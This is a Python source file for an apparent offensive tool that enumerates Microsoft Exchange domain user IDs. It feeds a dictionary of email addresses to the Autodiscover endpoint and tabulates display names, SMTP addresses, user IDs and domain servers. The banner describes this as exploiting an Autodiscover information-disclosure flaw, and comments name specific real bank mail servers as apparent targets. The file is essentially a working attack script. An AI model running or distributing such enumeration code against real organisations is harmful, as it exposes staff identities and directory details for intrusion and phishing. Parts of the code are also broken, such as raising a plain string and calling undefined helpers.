/
SSC_extractor.py
269 lines (246 loc) · 12.6 KB
/
SSC_extractor.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
#!/usr/bin/env python
# coding: utf-8
from __future__ import unicode_literals
from __future__ import print_function
import re
import sys
def error(message, code=1):
"""Prints an error message to stderr and exits with a status of 1 by default."""
if message:
print('ERROR: {0}'.format(message), file=sys.stderr)
else:
print(file=sys.stderr)
sys.exit(code)
# Regex of UTF-8 control characters that are illegal in XML 1.0 (and XML 1.1)
_illegal_xml_chars_RE = re.compile('[\x00-\x08\x0b\x0c\x0e-\x1F\uD800-\uDFFF\uFFFE\uFFFF]')
# UTF-8 byte order mark which may precede the XML from an Exchange server
BOM = '\xef\xbb\xbf'
REQUEST_NS = 'http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006'
AUTODISCOVER_NS = 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006'
ERROR_NS = 'http://schemas.microsoft.com/exchange/autodiscover/responseschema/2006'
RESPONSE_NS = 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a'
DISCOVER_SERVICE_URL = "/autodiscover/autodiscover.xml"
regex = re.compile(("([a-z0-9!#$%&'*+\/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+\/=?^_`"
"{|}~-]+)*(@|\sat\s)(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(\.|"
"\sdot\s))+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)"))
def get_xml_attr(tree, name):
elem = tree.find(name)
if elem is None: # Must compare with None, see XML docs
return None
return elem.text or None
def to_xml(text, encoding):
from xml.etree.ElementTree import fromstring, ParseError
processed = text #.lstrip(BOM).encode(encoding or 'utf-8','ignore')
try:
return fromstring(processed)
except ParseError:
from io import BytesIO
from lxml.etree import XMLParser, parse, tostring
# Exchange servers may spit out the weirdest XML. lxml is pretty good at recovering from errors
# log.warning('Fallback to lxml processing of faulty XML')
magical_parser = XMLParser(encoding=encoding or 'utf-8', recover=True)
root = parse(BytesIO(processed), magical_parser)
try:
return fromstring(tostring(root))
except ParseError as e:
line_no, col_no = e.lineno, e.offset
try:
offending_line = processed.splitlines()[line_no - 1]
except IndexError:
offending_line = ''
offending_excerpt = offending_line[max(0, col_no - 20):col_no + 20].decode('ascii', 'ignore')
raise_from(ParseError('%s\nOffending text: [...]%s[...]' % (text_type(e), offending_excerpt)), e)
except TypeError:
raise ParseError('This is not XML: %s' % text)
def _parse_response(response, encoding='utf-8'):
# We could return lots more interesting things here
# log.debug('Autodiscover response: %s', response)
autodiscover = to_xml(response, encoding=encoding)
resp = autodiscover.find('{%s}Response' % RESPONSE_NS)
if resp is None:
resp = autodiscover.find('{%s}Response' % ERROR_NS)
error = resp.find('{%s}Error' % ERROR_NS)
errorcode = get_xml_attr(error, '{%s}ErrorCode' % ERROR_NS)
message = get_xml_attr(error, '{%s}Message' % ERROR_NS)
# if message in ('The e-mail address cannot be found.', "The email address can't be found.",
# "Adresse de messagerie introuvable"):
# print('Adresse de messagerie introuvable')
# print('Erreur %s: %s' % (errorcode, message))
return None, None, None, None, None
user = resp.find('{%s}User' % RESPONSE_NS)
# AutoDiscoverSMTPAddress might not be present in the XML, so primary_smtp_address might be None. In this
# case, the original email address IS the primary address
primary_smtp_address = get_xml_attr(user, '{%s}AutoDiscoverSMTPAddress' % RESPONSE_NS)
DisplayName = get_xml_attr(user, '{%s}DisplayName' % RESPONSE_NS)
LegacyDN = get_xml_attr(user, '{%s}LegacyDN' % RESPONSE_NS)
userdomainid = re.findall(r'/cn=(\w+)', LegacyDN)[1]
account = resp.find('{%s}Account' % RESPONSE_NS)
protocols = account.findall('{%s}Protocol' % RESPONSE_NS)
for protocol in protocols:
if get_xml_attr(protocol, '{%s}Type' % RESPONSE_NS) != 'EXCH':
continue
server = get_xml_attr(protocol, '{%s}Server' % RESPONSE_NS)
domainserver = get_xml_attr(protocol, '{%s}AD' % RESPONSE_NS)
assert primary_smtp_address
assert DisplayName
assert userdomainid
assert server
assert domainserver
return userdomainid, DisplayName, primary_smtp_address, domainserver, server
raise ('Invalid AutoDiscover response: %s' % response)
def banner(text, ch='=', length=78):
# type: (object, object, object) -> object
"""Return a banner line centering the given text.
"text" is the text to show in the banner. None can be given to have
no text.
"ch" (optional, default '=') is the banner line character (can
also be a short string to repeat).
"length" (optional, default 78) is the length of banner to make.
Examples:
>>> banner("Peggy Sue")
'================================= Peggy Sue =================================='
>>> banner("Peggy Sue", ch='-', length=50)
'------------------- Peggy Sue --------------------'
>>> banner("Pretty pretty pretty pretty Peggy Sue", length=40)
'Pretty pretty pretty pretty Peggy Sue'
"""
if text is None:
return ch * length
elif len(text) + 2 + len(ch) * 2 > length:
# Not enough space for even one line char (plus space) around text.
return text
else:
remain = length - (len(text) + 2)
prefix_len = remain / 2
suffix_len = remain - prefix_len
if len(ch) == 1:
prefix = ch * prefix_len
suffix = ch * suffix_len
else:
prefix = ch * (prefix_len / len(ch)) + ch[:prefix_len % len(ch)]
suffix = ch * (suffix_len / len(ch)) + ch[:suffix_len % len(ch)]
return prefix + ' ' + text + ' ' + suffix
if __name__ == '__main__':
from colorclass import Color
print (Color(u'''{autoyellow}
_____ _ __ _ _
/__ \ |__ ___ /__\_ _| |_ _ __ __ _ ___| |_ ___ _ __
/ /\/ '_ \ / _ \/_\ \ \/ / __| '__/ _` |/ __| __/ _ \| '__|
/ / | | | | __//__ > <| |_| | | (_| | (__| || (_) | |
\/ |_| |_|\___\__/ /_/\_\\\__|_| \__,_|\___|\__\___/|_|
{/autoyellow}
{autowhite}Developed and designed by Lazaar Sami
inspired by adisenum.rb, http://h.foofus.net/goons/n8/tools/exchange/{/autowhite}
{autogreen}lazaars@gmail.com{/autogreen}
'''))
print(banner("An Exchange Autodiscovery Domain User IDs grabber",ch='*', length=70))
print(Color(u'''
{autowhite}This tool extracts domain users ID by using an email address dictionary
and exploiting a flaw in the Autodiscovery service of the Exchange server.{/autowhite}
Ref:Microsoft Exchange Autodiscover User Account Enumeration Information Disclosure.
'''))
print(Color('{autoyellow}[+]{/autoyellow} Loading external modules...'))
import signal
import requests
from urlparse import urlparse
from requests_ntlm import HttpNtlmAuth
from requests.auth import HTTPBasicAuth
from urllib2 import HTTPError, URLError
from httplib import HTTPException, HTTPSConnection
import getpass
from testchallenge import DOMAIN_utils
from prettytable import PrettyTable
from etaprogress.progress import ProgressBar
from collections import Counter
print(Color(u'{autoyellow}[+]{/autoyellow} External modules loaded.'))
signal.signal(signal.SIGINT, lambda *_: error('', 0)) # Properly handle Control+C
EXCHANGE_SERVER_URL = raw_input(
Color("{autoyellow}[+]{/autoyellow}{autowhite} Enter Exchange URL (ex https://mail.xxx.com):{/autowhite}"))
parsed = urlparse(EXCHANGE_SERVER_URL)
EXCHANGE_SERVER = parsed.hostname
protocol = parsed.scheme
USERNAME = raw_input(
Color(u'{autoyellow}[+]{/autoyellow}{autowhite} Username (without domain):{/autowhite}'))
print(Color('{autoyellow}[+]{/autoyellow}{autowhite} Password{/autowhite}'))
PASSWORD = getpass.getpass()
HEADERS = {
'Content-type': 'text/xml; charset=utf-8 ',
'Accept': 'text/xml'
}
table = PrettyTable(
[Color('{autogreen}DisplayName{/autogreen}'), Color('{autogreen}primary_smtp_address{/autogreen}'),
Color('{autogreen}userdomainid{/autogreen}'), Color('{autogreen}domainserver{/autogreen}')])
table.align = 'l'
print(Color('{autoyellow}Extracting users from %s ...{/autoyellow}' % EXCHANGE_SERVER))
requests.packages.urllib3.disable_warnings()
DOMAIN = DOMAIN_utils.Get_Domain(EXCHANGE_SERVER)
if DOMAIN is None:
DOMAIN= raw_input(
Color(u'{autoyellow}[+]{/autoyellow}{autowhite}Enter the Domain to use:{/autowhite}'))
print(Color('{autoyellow}[+]{/autoyellow}') + ' The Domain is:%s' % DOMAIN)
session = requests.Session()
# mail.atb.com.tn
#session.auth = HttpNtlmAuth('%s\\%s' % (DOMAIN, USERNAME), PASSWORD, session)
# mail.biat.com.tn et aussi mail.atb.com.tn
session.auth = HTTPBasicAuth('%s\\%s' % (DOMAIN, USERNAME), PASSWORD)
try:
response = session.get(EXCHANGE_SERVER_URL + DISCOVER_SERVICE_URL, verify=False)
# print response.status_code
if response.status_code == 401:
raise SystemExit(u"Authentification failre!")
listmails_file=raw_input(
Color('{autoyellow}[+]{/autoyellow}{autowhite}File containing email addresses:{/autowhite}'))
listmails = Counter(re.findall(regex, open(listmails_file).read().lower()))
nbr_mail = len(list(listmails.elements()))+1
#print(nbr_mail)
progress_bar = ProgressBar(nbr_mail, max_width=100)
progress_bar.bar.CHAR_FULL = Color('{autoyellow}#{/autoyellow}')
progress_bar.bar.CHAR_LEADING = Color('{autoyellow}#{/autoyellow}')
progress_bar.bar.CHAR_LEFT_BORDER = Color('{autoblue}[{/autoblue}')
progress_bar.bar.CHAR_RIGHT_BORDER = Color('{autoblue}]{/autoblue}')
i = 0
for mailadress in listmails:
i = i + 1
REQUEST = """<?xml version="1.0" encoding="utf-8"?>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>%s</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
""" % mailadress[0].rstrip('\r\n')
#print(REQUEST)
progress_bar.numerator = i
try:
response = session.post(EXCHANGE_SERVER_URL + DISCOVER_SERVICE_URL, verify=False,
data=REQUEST,
headers=HEADERS)
(userdomainid, DisplayName, primary_smtp_address, domainserver, server) = _parse_response(response.text,
'utf-8')
except:
(userdomainid, DisplayName, primary_smtp_address, domainserver, server) = None, None, None, None, None
else:
# print("DisplayName:%s,primary_smtp_address:%s,userdomainid:%s,domainserver:%s" % (
# DisplayName, primary_smtp_address, userdomainid, domainserver))
v = userdomainid, DisplayName, primary_smtp_address, domainserver, server
if all(x is not None for x in v):
table.add_row([DisplayName, primary_smtp_address, userdomainid, domainserver])
print(progress_bar, end='\r')
sys.stdout.flush()
progress_bar.numerator = nbr_mail
progress_bar.force_done = True
print(progress_bar)
print(table)
except requests.exceptions.ConnectionError as e:
print(Color(u"{autored}[!]{/autored}Can not connect to the server at the given address"))
except HTTPError as e:
print('The server couldn\'t fulfill the request.')
print('Error code: ', e.code)
except URLError as e:
print('We failed to reach a server.')
print('Reason: ', e.reason)
except HTTPException as e:
print(Color(u"{autored}[!]{/autored}Can not connect to the server at the given address"))
print('Reason: ', e.reason)
except Exception as e:
print(Color(u'{autored}[!]{/autored}An error has occurred %s ' % e ))